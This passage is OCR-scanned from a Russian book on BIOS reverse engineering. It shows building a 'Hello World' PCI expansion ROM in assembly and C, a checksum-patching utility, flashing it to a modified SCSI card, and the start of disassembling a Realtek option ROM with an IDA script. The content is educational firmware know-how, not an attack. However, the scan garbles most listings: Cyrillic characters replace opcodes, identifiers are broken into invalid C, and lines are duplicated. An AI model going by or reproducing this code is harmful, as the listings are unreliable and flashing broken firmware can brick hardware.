andw $0xCF, %axandw $0xCF, %ax~init:
andw $0xCF, %ax
andw $0xCF, %ax
# Сообщаем системной BIOS, что имеется # подключенное устройство IPL.
orw $0x20, % axorw $0x20, % axIretIret# Для информации, см. ст.21 спецификации
orw $0x20, % ax
orw $0x20, % ax
Iret
Iret
# Plug-and-Play 1.0А.
# Возвращаемся (jmp far) в системную BIOS.
# Точка входа в операционную систему/Реализация BEV (загрузка).
#
.global „start# Точка входа
„start:
mow $0x9000, %ах# Устанавливаем временный стек,
mow %ах, %ss# ss = 0x9000
# Код копирует сам себя из ROM в RAM по 0x0000.
mow %cs, % ах# Инициализируем адрес источника,
mow %ах, %ds mow $os_load_seg, %ах #. Указываем на сегмент ОС mow %ах, %es movl $os_code_sizel6, %есх subw %di, %di subw %si, %si cld rep movsw
Ijmp $os_load_seg, $_setup
„setup:
mow %cs, %ax# Инициализируем регистры сегмента,
mow %ax, %ds
enable_a20:
cli
call movb
a20wait
$0xAD, %al
outb
%al, $0x64
call
a20wait
movb
$0xD0, %al
outb
%al, $0x64
call
a20wait2
inb
$0x60, %al
pushl
%eax
call
a20wait
movb
$0xDl, %al
outb
%al, $0x64
call
a20wait
popl
%eax
or
$2, %al
outb
%al, $0x60
call
a20wait
movb
$0xAE, %al
outb
%al, $0x64
call
a20wait
ЗЩР
continue
a20wait:
1:movl
$65536, %ecx
2:inb
$0x64, %al
test
$2, %al
jz
3f
loop
2b
jnp
lb
3:ret
a20wait2:
movl
$65536, %ecx
2:inb
$0x64, %al
test
$1, %al
jnz
3f
loop
2b
jnp
lb
3:ret
continue:
# # #
#
sti
#
Разрешаем прерывание.
Переключаемся в защищенный режим здесь нужен 32-битный режим, так cli#
и делаем безусловный переход в ядро;
как код будет исполняться в 32-битном режиме
Запрещаем прерывание.
Igdt
gdt_desc
#
#
Загрузить GDT в GDTR (загружаем адреса — базовый и предела).
оба
movl or movl
%cr0, %eax
$1, %eax
%eax, %cr0
#
#
#
Переключаемся в защищенный режим.
Еще не в защищенном режиме; нужно сделать FAR переход.
.byte 0x66, Oxea
.long do_pm
.word SEG_CODE_SEL
# # #
#
# #
Prefix + jmpi-opcode (Это приводит принудительному входу в защищенный т. е. обновить регистр CS) 32-битный линейный адрес (назначение перехода)
Селектор сегмента кода
к
режим,
.code32
do_pm:
xorl xorl movw
movw movw movw movl
%esi, %esi %edi, %edi $0x10, %ax
%ax, %ds $0x18, %ax %ax, %ss $0x90000, %esp
# #
#
Сохраняем идентификатор сегмента данных (см. GDT).
Сохраняем идентификатор сегмента стека.
ЗЩР
main
#
Безусловный переход в функцию main.
.align 8, О.align 8, ОВыравниваем GDT по границе
.align 8, О
.align 8, О
8-байтного параграфа.
Определение GDTОпределение GDT
Определение GDT
Определение GDT
# Фиктивный дескриптор сегмента (GDT)# Фиктивный дескриптор сегмента (GDT)#
# Фиктивный дескриптор сегмента (GDT)
# Фиктивный дескриптор сегмента (GDT)
gdtjnarker:
.long О
.long О
SEG_CODE_SEL = ( . -
gdtjnarker)
SegDescl:
# Ядро CS (08h) PLO, 08h - идентификатор
.word Oxffff
# seg_length0_15
.word 0
# base_addr0_15
.byte 0
# base_addrl6_23
.byte 0x9A
# Флаги
.byte Oxcf
# Доступ
.byte 0
# base_addr24_31
SEG_DATA_SEL = ( . - gdtjnarker)
SegDesc2:
# Ядро DS (lOh) PLO
# seg_length0_15
.word
Oxffff
.word
0
# base_addr0_15
.byte
0
# base_addrl6_23
.byte
0x92
# Флаги
.byte
Oxcf
# Доступ
.byte
0
# base_addr24_31
SEG_STACK_SEL = ( . -
gdtjnarker)
SegDesc3:
# Ядро SS (18h) PLO
.word Oxffff
# seg_length0_15
.word 0
# base_addr0_15
.byte 0
# base_addrl6_23
.byte 0x92
# Флаги
.byte Oxcf
# Доступ
.byte 0
# base_addr24_31
9dt_end:
9dt_desc:.word (gdt_end - gdtjnarker - 1)
# Предел GDT
•long gdtjnarker # Физический адрес GDT
Листинг 7.3. Файл main.c
Copyright (С) Darmawan Mappatutu Salihun
File name : main.c
Этот файл можно использовать только для некоммерческих целей.
*/
int main ()
{
const char *hello = "Hello World!";
clrscrO;
print(hello);
for(;;);
return 0;
}
Листинг 7.4. Файл ports.c
/*
Copyright (C) Darmawan Mappatutu Salihun
File name : ports.c
Этот файл можно использовать только для некоммерческих целей.
*/
unsigned char in(unsigned short „port) {
// "=a" (результат) означает: По окончанию, загрузить значение
// регистра AL в переменную result.
// "d" (_port) означает: загрузить _port в регистр EDX. unsigned char result;
asm__ ("in %%dx, %%al" : "=a" (result) : "d" („port)); return result;
)
void out(unsigned short „port, unsigned char „data) (
// "a" (_data) означает: загрузить _data в регистр EAX.
// "d" (_port) означает: загрузить jport в регистр EDX.
asm__ ("out %%al, %%dx" : :"a" (_data), "d" (_port));
(Стинг 7.5 Файл video.c
/*
Copyright (C) Darmawan Марраtutu Salihun
File name : video.c
Этот файл можно использовать только для некоммерческих целей.
*/
void clrscrO {
unsigned char *vidmem = (unsigned char *)0xB8000; const long size = 80*25;
long loop;
И Очищаем видимую видео память.
for (loop = 0; loop < size; loop++) {
*vidmem++ = 0;
*vidmem++ = OxF;
)
И Устанавливает курсор в позицию 0,0.
out(0x3D4, 14);
out(0x3D5, 0);
out(0x3D4, 15);
out(0x3D5, 0); )
void”print (const char *_message) (
unsigned short offset;
unsigned long i;
unsigned char *vidmem = (unsigned char *)0xB8000;
// Считываем позицию курсора.
out(0x3D4, 14);
offset = in(0x3D5) « 8;
out(0x3D4, 15);
offset |= in(0x3D5);
// Начинаем вывод с позиции курсора.
vidmem += offset*2;
// Продолжаем до символа нуля.
i = 0;
while („messaged] != 0) {
*vidmem = „message[i++]; vidmem += 2;
}
// Устанавливаем новую позицию курсора.
offset += i;
out(0x3D5, (unsigned char)(offset));
out(0x3D4, 14);
out(0x3D5, (unsigned char)(offset » 8));
Листинг 7.6. Файл рс(_гот.Ш
I * =================================================================== * / /* Copyright (C) Darmawan Mappatutu Salihun */ /* File name : pci_rom.ld */ /* Этот файл можно использовать только для некоммерческих целей. */ /* =================================================================== */
OUTPUT_FORMAT("elf32-i386")
OUTPUT_ARCH(i386) ENTRY(„start)
__boot_vect = 0x0000;
SECTIONS (
.text __boot_vect :
*( .text) } = 0x00
.rodata ALIGN(4) : {
*( .rodata) } = 0x00
.data ALIGN(4) :
{
*( .data)
} = 0x00
.bss ALIGN(4) :
{
*( .bss) } = 0x00
Исходный код для вычисления контрольной суммы Plug-and-Play BIOS расширения PCI
Исходный код, приведенный в данном разделе, используется для создания утилиты buildrom, с помощью которой прошиваются контрольные суммы двоичного файла Plug-and-Play BIOS расширения PCI, созданной в разд. 733.1. Код состоит из следующих файлов:
О Makefile. Файл makefile используется для создания двоичного кода утилиты build rom (листинг 7.7).
□ Build_rom.c. Исходный код на языке С для утилиты build rom (листинг 7.8).
Листинг 7,7. Файл makefile для утилить* build_rom
#
# Copyright (С) Darmawan Mappatutu Salihun
Имя файла: Makefile
* Этот файл можно использовать только для некоммерческих целей.
# __
СС = дсс
C^LAGS = -Wall -02 -march = i686 -mcpu = i686 -c
ld = gcc ldflags =
all: build_rom.o
$(LD) $(LDFLAGS) -o build_rom build_rom.o
cp build_rom ..I
%.o: %.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -rf *~ build_rom *.o
uci лиг 7.8. Исходный утилиты Buiid_rom.c.
/*
Copyright (c) Darmawan Mappatutu Salihun
Имя файла: build_rom.c
Этот файл можно использовать только для некоммерческих целей.
Описание:
Программа удлиняет исходный файл нулями и потом прошивает его в действительный двоичный файл Plug-and-Play BIOS расширения PCI.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
typedef unsignedcharu8;
typedef unsignedshortul6;
typedef unsignedintu32;
enum {
MAX_FILE_NAME=100,
ITEM_COUNT=1,
ROM_SIZE_INDEX=0x2,
Plug-and-Play_HDR_PTR= OxlA,
Plug-and-Play_CHKSUM_INDEX= 0x9,
plug-and-Play_HDR_SIZE_INDEX = 0x5, 0$1 CHKSUM= 0x10, /* Свободная область в Plug-and-Play
BIOS расширения PCI, которую можно использовать. */ );
static int 2eroExtend(char * f_name, u32 target_size) ( FILE* f_in;
long file_size, target_file_size, padding_size; char* pch_buff;
target_file_size = target_size; // Приводим тип along к типу long.
iff (f_in = fopen(f_name, "ab")) == NULL) (
printffHe удалось открыть файл\п программа закрывается. .. \п") ; return -1; ) if(fseek(f_in, 0, SEEK_END) != 0) ( printffHe удалось найти файл\п программа закрывается... \п") ; fclose(f_in); return -1; )
if( (file_size = ftell(f_in)) == -1) {
printffHe удалось вычислить размер файла\n программа закрывается...\n"); fclose(f_in); return -1; )
^ file_size >= target_file_size) (
printf("Ошибка ввода — Размер файла назначения меньше, чем" "размер исходного файла\п"); fclose(f_in);
return -1;
/*
Добавляем нулевые байты в файл назначения.
*/ padding_size = target_file_size - file_size;
pch_buff = (char*) malloc(sizeof(char) * padding_size );
if(NULL != pch_buff) { memset(pch_buff, 0, sizeof(char) * padding_size ); fseek(f_in, 0, SEEK_END);
fwrite( pch_buff, sizeof(char), padding_size, f_in); fclose(f_in);
f ree(pch_buf f) ; return 0; H Success
} else { fclose(f_in); return -1;
}
static u8 CalcChecksum(FILE* fp, u32 size) ( u32 position = 0x00; /* Указатель позиции в файле */ u8 checksum = 0x00;
/* Устанавливаем указатель позиции на начало файла. */ i f(!fseek(fp,0,SEEK_SET))'
{ /* Вычисляем 8-битную контрольную сумму u8. размер файла = размер * 512 байт = размер * 0x200 */ for(; position < (size * 0x200) ; position++) { checksum = ((checksum + fgetc(fp)) % 0x100); }
printf("calculated checksum = %#x \n",checksum) ;
) else { printf("function CalcChecksum:Failed to seek through" "the beginning of file\n"); }
return checksum;
static int
Patch2 Plug- and- Pl ayRom (char * f _name)
{
FILE*fp;
u8checksum_byte;
u32rom_size; /* Размер исходного кода BIOS расширения в
блоках по 512 байт*/
и 8Plug-and-Play_header_pos;
u8Plug-and-Play_checksum = 0x00;
u8Plug-and-Play_checksum_byte;
u8Plug-and-Play_hdr_counter= 0x00;
u8Plug-and-Play_hdr_size;
if( (fp = fopen( f_name , "rb+")) == NULL)
('
printf ("He удалось открыть файлЛп Программа закрывается.. . \п") ; return -1;
}
/* Сохраняем размер исходного кода BIOS расширения, который находится по индексу 0x2 от начала файла (индекс с отсчетом от нуля). */
fseek(fр, ROM_SIZE_INDEX, SEEK_SET);
rom_size = fgetc(fp);
/* Исправляем контрольную сумму заголовка Plug-and-Play. */ if(fseek(fp,Plug-and-Play_HDR_PTR,SEEK_SET) ! = 0)
{
printf("He удалось найти заголовок Plug-and-Play");
fclose(fp);
return -1;
}
Plug-and-Play_header_pos = fgetc(fp); /* Сохраняем смещение заголовка Plug-and-Play. */
if(fseek(fp,(Plug-and-Play_header_pos + Plug-and-Play_HDR_SIZE_INDEX), SEEK_SET) ! = 0)
{
Play\n");Play\n");printf("He удалось найти контрольную сумму заголовка Plug-and-
Play\n");
Play\n");
fclose(fp);
return -1;
}
Plug-and-Play_hdr_size = fgetc(fp); /* Сохраняем размер заголовка Plug-and-Play. */
/* Устанавливаем текущую контрольную сумму в 0x00 чтобы правильно вычислить контрольную сумму. */
if(fseek(fp,(Plug-and-Play_header_pos + Plug-and-Play_CHKSUM_INDEX), SEEK_SET)
!= 0)
{
printf("He удалось найти контрольную сумму заголовка plug-and- Play\n");
fclose(fp);
return -1;
}
if(fputc(0x00,fp) == EOF)
{
fclose(fp);return -1;fclose(fp);return -1;printf( "He удалось сбросить контрольную сумму" " заголовка Plug-and-Play" " value\n") ;
fclose(fp);
return -1;
fclose(fp);
return -1;
}
/* Вычисляем контрольную сумму заголовка Plug-and-Play. */ if(fseek(fp, Plug-and-Play_header_pos, SEEK_SET) ! = 0) {
printf( "Error seeking to calculate Plug-and-Play"
"Header checksum");
fclose(fp);
return -1;
}
/*
Размер заголовка Plug-and-Play BIOS вычисляется в в 16-байтных блоках.
*/
for(; Plug-and-Play_hdr_counter < (Plug-and-Play_hdr, size * 0x10) ;
Plug-and-Play_hdr_counter++)
{
Plug-and-Play_checksum = ((Plug-and-Play_ checksum + fgetc(fp)) %
0x100);
}
if(Plug-and-Play_checksum != 0 ) {
Plug-and-Play_checksum_byte = 0x100 - Plug-and-Play, checksum;
) else {
Plug-and-Play_checksum_byte = 0;
}
/* Сохраняем контрольную сумму заголовка Plug-and-Play. */ fseek(fp, (Plug-and-Play_header_pos + Plug-and-Play_CHKSUM_INDEX), SEEK_SET);•
fputc(Plug-and-Play_checksum_byte, fp);
/* С этот точки начинается обработка общей контрольной суммы */
/* Сбрасывает текущую контрольную сумму в байте контр, суммы. */
if( fseek(fp, ROM_CHKSUM, SEEK_SET) != 0 ) { fclose(fp);
return -1;
} else {
fputc(0x00, fp);
}
/* Вычисляем контрольную сумму (checksum byte). */
if(CalcChecksum(fp, rom_size) == 0x00) {
checksum_byte = 0x00; /* Текущая контрольная сумма правильна. */
} else {
checksum_byte = 0x100 - CalcChecksum(fp, rom_size);
}
/* Записываем байт контрольной суммы. */
/* Устанавливаем указатель позиции на байт контр, суммы. */ if(fseek(fp, ROM_CHKSUM, SEEK_SET) != 0) (
printf( "Failed to seek through the file\n"
"closing program. ..");
fclose(fp);
return -1;
} else {
/* Сохраняем контрольную сумму в байте контр, суммы в файл. */ fputc(checksum_byte, fp) ;
}
/* Записываем на диск. */ fclose(fp);
printf("Создание Plug-and-Play BIOS успешно завершено \n");
return 0;
int main(int argc, char* argv[]) {
char out_f_name[MAX_FILE_NAME] ;
u32 target_size; char* pch_temp[15];
if(argc 1= 3) /* Недостаточное количество параметров */ {
printf( "Применение: %s [имя_входного_файла]"
" [размер_конечного_двоичного_файла]\n", argv[0]);
printf( "имя_входного_файла = двоичный файл,"
" который нужно вставить"
" в Plug-and-Play BIOS расширения PCI\n" "размер_конечного_двоичного_файла" " = планируемый размер"
"Plug-and-Play BIOS расширения PCI\n"); return -1;
}
strncpy(out_f_name, argv[l], MAX_FILE_NAME - 1);
target_size = strtoul(argv[2], pch_tenip, 10);
if( 0 ! = (target_size % 512) ) {
printf( "Ошибка входного параметра." "Недействительный размер конечного" "двоичного файла!\п");
return -1; }
/* argv[l] — указатель на параметр имени файла, введенный пользователем. */
i f(ZeroExtend(out_f_name, target_si ze) ! = 0) {
printf("He удалось удлинить файл нулевыми байтами! \п" "Программа закрывается...");
return -1;
}
if(Patch2Plug-and-PlayRom(out_f_name) ! = 0) {
printf("Не удалось исправить контрольную сумму!\п" ’ "Программа закрывается...\п");
return -1;
}
return 0; }
^•3.4. Создание образца BIOS расширения
^я создания Plug-and-Play BIOS расширения PCI из кода, приведенного Предыдущих листингах, необходимо выполнить следующую последова- Льность шагов. Сборка выполняется в оболочке bash на системе под управ-
лением Linux. В моем случае, проект был собран на машине с установленным дистрибутивом Linux Slackware 9.0.
Создаем новый каталог для размещения основного исходного кода BIOS расширения PCI. В дальнейшем, будем считать этот каталог корневым (root).
Копируем все файлы исходного кода в каталог root.
Создаем новый каталог в каталоге root. В дальнейшем, будем ссылаться на этот каталог как на rom_tooi.
Копируем все файлы исходного кода утилиты для вычисления контрольной суммы Plug-and-Play BIOS расширения PCI в каталог rom_tooi.
Исполняя команду make из каталога rom_tooi, создаем утилиту, которая понадобится в дальнейшем. Утилита будет автоматически помещена в каталог root.
Исполняем команду make из каталога root. В результате работы команды make будет создана действительная Plug-and-Play BIOS расширения PCI, готовая для прошивки в плату PCI назначения, т. е. в "хакнутую" плату Adaptec AHA 2940. Этот двоичный файл BIOS расширения будет назван rom.bin.
При исполнении команды make из каталога root, в оболочке будут выводиться сообщения, подобные показанным в листинге 7.9.
Листинг 7.9. Сообщения, выводимые командой make, исполняемой из каталога root
as -о crtO.o crtO.S
дсс -о main.о -с main.с
дсс -о ports.о -с ports.с
дсс -о video.о -с video.с
Id -Т pci_rom.ld -о rom.elf crtO.o main.о ports.о video.о
objcopy -v -О binary rom.elf rom.bin
copy from rom.elf (elf32-i386) to rom. bin (binary)
build_rom rom.bin 65536
calculated checksum = 0x41; вычисленная контрольная сумма = 0x41
calculated checksum = 0x41
Plug-and-Play ROM successfully created ; Создание Plug-and-Play BIOS
; расширения успешно завершено
Результат этих шагов по созданию BIOS расширения показан в листинге 7.1 • На своей машине (под управлением Linux Slackware) я получил дамп, исполни6 В оболочке bash команду hexdump - f fmt rom. bin.
^с инг 7.10. Шестнадцатеричный дамп файла rom.bin
Адрес оооооо ооооос 000018 000024 оооозо 00003с 000048 000054Адрес оооооо ооооос 000018 000024 оооозо 00003с 000048 000054Шестнадцатеричные значения55 АА04ЕВ4F0000000000000000 000000BF000000000000001С 003400504349520490788100 001800000200000400000000 8000002450бЕ500102000000 5А0000000000000000020000 14000000005В000000000025 CF0083С820СВВ800908ЕDOШестнадцатеричные значения55 АА04ЕВ4F0000000000000000 000000BF000000000000001С 003400504349520490788100 001800000200000400000000 8000002450бЕ500102000000 5А0000000000000000020000 14000000005В000000000025 CF0083С820СВВ800908ЕDOЗначения ASCIIU ... О ... .Значения ASCIIU ... О ... .. 4 . Р С I R . . х .. 4 . Р С I R . . х .....$РпР..... ZI%....$РпР..... ZI%
Адрес оооооо ооооос 000018 000024 оооозо 00003с 000048 000054
Адрес оооооо ооооос 000018 000024 оооозо 00003с 000048 000054
Шестнадцатеричные значения
55 АА04ЕВ4F00000000000000
00 000000BF00000000000000
1С 0034005043495204907881
00 0018000002000004000000
00 8000002450бЕ5001020000
00 5А00000000000000000200
00 14000000005В0000000000
25 CF0083С820СВВ800908ЕDO
Шестнадцатеричные значения
55 АА04ЕВ4F00000000000000
00 000000BF00000000000000
1С 0034005043495204907881
00 0018000002000004000000
00 8000002450бЕ5001020000
00 5А00000000000000000200
00 14000000005В0000000000
25 CF0083С820СВВ800908ЕDO
Значения ASCII
U ... О ... .
Значения ASCII
U ... О ... .
. 4 . Р С I R . . х .
. 4 . Р С I R . . х .
....$РпР....
. Z
I
%
....$РпР....
. Z
I
%
000318 48 65 6С 6С 6F 20000324 00 00 00 00 00 00000318 48 65 6С 6С 6F 20000324 00 00 00 00 00 0057 6F 72 6С 64 21 Hello00 00 00 00 00 00 57 6F 72 6С 64 21 Hello00 00 00 00 00 00 World !World !
000318 48 65 6С 6С 6F 20
000324 00 00 00 00 00 00
000318 48 65 6С 6С 6F 20
000324 00 00 00 00 00 00
57 6F 72 6С 64 21 Hello
00 00 00 00 00 00
57 6F 72 6С 64 21 Hello
00 00 00 00 00 00
World !
World !
OOfffc 00 00 00 00
Шестнадцатеричный дамп, представленный в листинге 7.10, показывает лишь часть информации настоящего дампа, выводимого в терминале Linux. Я урезал настоящий дамп и оставил лишь наиболее важные его фрагменты. Вывод команды hexdump, показанный в листинге 7.10, форматируется с помощью специального файла форматирования, fmt, который указывается при вызове команды. Исходный код этого файла форматирования показан в листинге 7.11. Это — обычный ASCII файл.
Листинг 7.11, Файл форматирования fmt
"%0б.б_ах " 12/1 "%02Х " "“ "%_р "
"\п"
Первая строка файла форматирования дает указание утилите hexdump выводить аДреса байтов в 6-значном шестнадцатеричном формате, затем выводить два Лробела, а затем 12 байтов в 2-значном шестнадцатеричном формате. Вторая строка файла форматирования дает указание утилите hexdump выводить два пРобела, а потом выводить символы ASCII, соответствующие значениям бай- т°в. Вместо непечатаемых знаков ASCII выводится точка. Третья строка дает Указание утилите перейти на следующую строку в устройстве вывода (в дан- Ком случае, в этом качестве используется терминал Linux).
Тестирование примера
С помощью утилиты прошивки, исполняемой в реальном режиме DOS, про. шиваем полученный двоичный файл BIOS расширения в чип ROM BIOS В моем случае, я воспользовался для этой цели ранее упомянутой утилитой flash4.exe, запустив следующую команду: flash4.exe -w rom.bin
Запустить нашу специальную BIOS расширения можно, выбрав в установках программы BIOS Setup опцию удаленной загрузки по сети. В результате на монитор будет выведена строка Helio world!.
Возможные проблемы и их устранение
Я хочу подчеркнуть важность употребления правильных значений идентификатора производителя (Vendor ID) и идентификатора устройства (Device ID) в исходном коде BIOS расширения. Если эти значения не совпадут со значениями, жестко прошитыми в чип устройства PCI, существует возможность того, что ваша BIOS расширения для этого устройства не будет исполняться . Хотя я не проводил дальнейших исследовании по этому вопросу, я настойчиво рекомендую, чтобы эти значения совпадали.
Возможно также, что, несмотря на всю вашу осторожность и внимательность, ваша BIOS расширения не будет работать должным образом, что обычно проявляется в зависании системы. Такие случаи — не редкость в этой области деятельности. Собственно говоря, это случилось со мной во время разработки только что описанной BIOS расширения — я случайно поместил инструкцию безусловного перехода на точку входа в подпрограмму инициализации PCI по смещению 04h вместо озь (по отношению к началу двоичного кода образа BIOS). В результате компьютер зависал при попытке исполнить функцию init PCI. Перепрошить BIOS в подобных случаях можно следующим образом:
Полностью обесточьте компьютер и вставьте плату с дефектной BIOS в один из слотов расширения PCI.
Закоротите выводы двух младших адресов чипа флэш ROM. В моем случае, я воспользовался металлической проволокой. Эта операция должна выполняться, когда система полностью обесточена. В моем слу* чае, требовалось закоротить выводы адреса 0 (а) и 1 (ai). Достаточно
19 Системная BIOS инициализирует BIOS расширения, делая безусловный дальний переход (far jmp) к вектору инициализации BIOS расширения (находящийся по смещению 03h от начала двоичного файла BIOS расширения).
закоротить только два младших вывода адреса, так как наша задача — сгенерировать некорректный заголовок BIOS PCI в первых двух байтах. Узнать расположение нужных выводов можно, ознакомившись с техническими данными на данный чип флэш ROM, которые можно скачать с сайта производителя чипа. В результате закорачивания этих выводов адреса будет генерироваться неправильная контрольная сумма сигнатуры заголовка BIOS расширения PCI, т. е. значения ааббь, что, в свою очередь, вынудит BIOS материнской платы игнорировать данную BIOS расширения. Действуя таким образом, вы сможете загрузиться в DOS даже с установленной платой с дефектной BIOS расширения.
Загрузившись в DOS, не выключая компьютера,, уберите закорачивающее приспособление.
Прошейте правильный двоичный файл BIOS расширения в чип флэш ROM. Перезагрузите компьютер и убедитесь, что все работает должным образом.
В случае с ’'хакнутой" платой контроллера SCSI, функция init PCI должна работать безупречно, так как BIOS материнской платы всегда исполняет ее при загрузке, и ошибки в этой функции могут привести к зависанию системы. Описанная процедура исправления BIOS расширения является довольно опасной, и ее нужно выполнять с должной предосторожностью. Особенно внимательным нужно быть при удалении закорачивающего приспособления, чтобы случайно не закоротить выводы под напряжением. Но, как показывает мой опыт, если данная процедура выполнена должным образом, то сама по себе она не причиняет никакого вреда компонентам компьютера.
Глава 8
j##.7Sample'lf iTcfg^ > # #f Dfeff Йв^Херуйев^ ii^^s^ ^-^Ж^й df Ж j£e6 .Ciaximum'-i f iL’^
Дизассемблирование BIOS расширения PCI
Введение
В этой главе рассматривается дизассемблирование BIOS платы расширения PCI. Знания о структуре BIOS расширения PCI, полученные в предыдущей главе, послужат основанием для дальнейших исследований в этой области. Но эти знания нужно еще дополнить информацией о различиях в BIOS плат расширения PCI.
Архитектура двоичного файла
Структура двоичного файла BIOS платы расширения PCI, рассмотренная в главе 7, в общих чертах показана на рис. 8.1.
Блок-схема, представленная на рис. 8.1 отображает структуру двоичного файла BIOS расширения PCI, поддерживающего только одну машинную архитектуру. Более сложная структура двоичного файла BIOS расширения PCI, содержащая множество образов, предназначенных для поддержки различных машинных архитектур, здесь не рассматривается. Такая структура является всего лишь вариантом структуры BIOS расширения с поддержкой лишь одной машинной архитектуры. Если вы понимаете структуру BIOS платы расшир6' ния, содержащую лишь один образ, то это понимание легко расширить и на более сложную версию с множественными образами. Как показано на рис. 8.L в самом нижнем диапазоне адресов двоичного файла BIOS находится основном заголовок BIOS расширения.
OOOCh
“Базовый" заголовокROM
РазмерBIOS ▼ расширенияРазмерBIOS ▼ расширенияКод времениисполненияКод времениисполненияСтруктура данных,определяемаяпротоколом
Размер
BIOS ▼ расширения
Размер
BIOS ▼ расширения
Код времениисполнения
Код времениисполнения
Код инициализации
Контрольная сумма
Байты-заполнители
Рис. 8.1. Структура BIOS платы расширения PCI
Структура основного заголовка BIOS расширения PCI показана на рис. 8.2. В этом заголовке находится инструкция безусловного перехода к функции init соответствующей BIOS расширения PCI. Таким образом, будет логично начать обратную разработку BIOS расширения, проследовав за этим безусловным переходом, что приведет нас к функции инициализации и связанным 0 нею вспомогательным функциям.
Примечание
Обратите внимание, что для инициализации BIOS платы расширения, системная BIOS вызывает ее при помощи межсегментного перехода (far call). Поэтому будет логично ожидать, что последней исполняемой инструкцией BIOS расширения будет retf (return far). Как будет показано в следующем разделе, это действительно так.
^роме того, вернемся к разд. 7.1.5 и вспомним, что точное соответствие спе- ^фикации РпР не является обязательным для BIOS плат расширения PCI. аким образом, для того чтобы проследить главную ветвь исполнения кода, • е- исполнение функции инициализации BIOS расширения PCI, нужно рас- с^атривать только информацию в ее основном заголовке.
12 Зак 1387
Рис.Рис.PCIPCI
Рис.
Рис.
PCI
PCI
Дизассемблирование основного кода
В данном разделе мы научимся дизассемблировать код BIOS расширения PCI. Так как структура BIOS платы расширения PCI нам известна, эта процедура не должна вызывать никаких трудностей. Начнем с дизассемблирования заголовка BIOS расширения и будем трассировать исполнение кода до тех пор, показе найдем точку возврата в системную BIOS, т. е. последнюю инструкцию retf'.
Дизассемблирование BIOS расширения платы Realtek 8139
Для начала, дизассемблируем BIOS расширения семейства чипов Realtek 8139A/B/C/D. В дальнейшем, будем называть это семейство чипов Realtek
В BIOS расширения помимо инструкции retf, которая возвращает управление сис темной BIOS, могут быть и другие инструкции retf. Нам необходима именно инст рукция, возвращающая управление системной BIOS.
^39Х. BIOS расширения для Realtek 8139Х называется rpl.rom. Вероятно, такое название было выбрано, чтобы напоминать о возможности удаленной заГрУзки (remote program load). Как показано далее, данная BIOS расширения рС1 придерживается как спецификации BIOS расширения PCI, так и спецификации РпР. Двоичный файл BIOS расширения можно скачать с сайта Realtek (http://www.realtek.com.tw/downloads/downloadsl-3.aspx?lineid= l&famid=3&series=16&Software=True). Двоичный файл BIOS, рассматриваемый здесь, был выпущен в 2001 г. Это — новейшая из всех версий, которую я смог найти на сайте Realtek.
Итак, приступим к самому дизассемблированию. Сначала создадим элементарный сценарий IDA Pro для облегчения работы по разбору двоичного файла. Исходный код этого сценария показан в листинге 8.1.
MakeWord(ea + 6); MakeNametea + 6, "device_id") ;
MakeCommfea + 6, "Идентификатор устройства");
MakeWord(ea +8); MakeNametea + 8, "vpd_ptr");
MakeCommtea + 8, "Указатель на необходимые данные о продукте");
MakeWord(ea + ОхА); MakeNametea + ОхА, "pci_struc_len");
MakeCommfea + ОхА, "Длина структуры данных PCI");
MakeBytefea + OxC); MakeNamefea + OxC, "pci_struc_rev");
MakeCommfea + OxC, "Статус изменения структуры данных PCI");
MakeBytefea + OxD); MakeNamefea + OxD, "class_code_l");
MakeCommfea + OxD, " Код класса (байт 1)");
MakeBytefea + OxE); MakeNamefea + OxE, "class_code_2");
MakeCommfea + OxE, " Код класса (байт 2)");
MakeBytefea + OxF); MakeNamefea + OxF, "class_code_3") ;
MakeCommfea + OxF, " Код класса (байт 3)");
MakeWord(ea + 0x10); MakeNamefea + 0x10, "image_len");
MakeCommfea + 0x10, "Размер образа в блоках по 512 байт");
MakeWord(еа + 0x12); MakeNamefea + 0x12, "rev_level");
MakeCommfea + 0x12, "Статус изменения");
MakeBytefea + 0x14); MakeNametea + 0x14, "code_type");
MakeCommfea + 0x14, "Код класса");
MakeBytefea + 0x15); MakeNametea + 0x15, "indicator");
MakeCommfea + 0x15, "Признак последнего образа");
MakeByte(ea + 0x16); MakeNametea + 0x16, "reserved");
MakeCommfea + 0x16, "Зарезервировано");
/* Анализируем структуру данных PnP */
iff (Word(OxlA) != 0) && (Dword(Word(OxlA)) == ’PnP$')) {
MakeWord(OxlA); MakeName(OxlA, "PnP_Struc_Ptr");
MakeComm(OxlA, "Указатель на структуру данных Plug and Play");
OpOfftOxlA, 0, 0); ga = Word(OxlA);
MakeDword (еа); MakeName (еа, " $ PnP");
MakeComm (еа + , "Сигнатура структуры данных РпР");
MakeByte(ea +4); MakeName(еа + 4, "struc_rev");
MakeComm(еа + 4, "статус изменения структуры");
MakeByte(ea + 5); MakeName(еа + 5, "length");
MakeComm(еа + 5, "Размер в блоках по 16 байт");
MakeWordtea + 6); MakeNametea + 6,"next_hdr_offset");
MakeCommfea + 6, "Смещение следующего заголовка(OOOOh если нет)");
MakeBytete^ + 8); MakeNametea + 8, "reserved-");
MakeComm(еа + 8, "Зарезервировано");
MakeBytetea +9); MakeName(еа + 9, "checksum");
MakeCommtea + 9, "Контрольная сумма");
MakeDword(ea + OxA); MakeName (ea + OxA,"dev_id");
MakeComm(ea + OxA, "Идентификатор устройства");
MakeWord(ea + OxE); MakeName(eh + OxE,"manufacturer_str");
MakeComm(ea + OxE, "Указатель на строку производителя");
MakeWordtea + 0x10); MakeName(еа + 0x10,"product_str");
MakeComm(ea + 0x10, "Указатель на строку продукта");
MakeByte(ea + 0x12); MakeName(еа + 0x12,"dev_type_l");
MakeComm(ea + 0x12, "Тип устройства (байт 1)");
MakeByte(ea + 0x13); MakeName(еа + 0x13, "dev_type_2") ;
MakeComm(ea + 0x13, "Тип устройства (байт 2)");
^keBytetea + 0x14); MakeName(еа + 0x14,"dev_type_3");
MakeComm(ea + 0x14, "Тип устройства (байт 3)"); "
MakeByte(ea + 0x15); MakeNametea + 0x15,"dev_indicator");
^keCommtea + 0x15, "Признак устройства");
MakeWordtea + 0x16); MakeName(ea + 0x16,"bcv");
MakeComm(ea + 0x16, "Вектор подключения устройства загрузки (BCV) (OOOOh если нет)").
MakeWordtea + 0x18); MakeNametea + 0x18,"dv");
MakeCommtea + 0x18, "Вектор отключения (OOOOh if none)");
MakeWordtea + OxlA); MakeNametea + OxlA,"bev");
MakeCommtea + OxlA, "Вектор точки входа загрузки (BEV) (0000h если нет)");
MakeWord(ea + OxlC); MakeNametea + OxlC,"reserved__") ;
